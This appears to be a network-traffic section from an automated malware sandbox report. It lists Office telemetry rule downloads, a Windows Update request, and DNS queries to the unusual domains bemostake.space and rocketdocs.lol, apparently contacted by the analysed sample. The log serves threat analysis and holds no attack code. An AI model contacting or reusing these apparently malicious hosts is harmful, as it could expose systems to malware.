Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UU6vZgkzccoB6vM&MD=LgcgFu8w HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: 1h982d.bemostake.space
Source: global traffic	DNS traffic detected: DNS query: bemostake.space
Source: global traffic	DNS traffic detected: DNS query: rocketdocs.lol

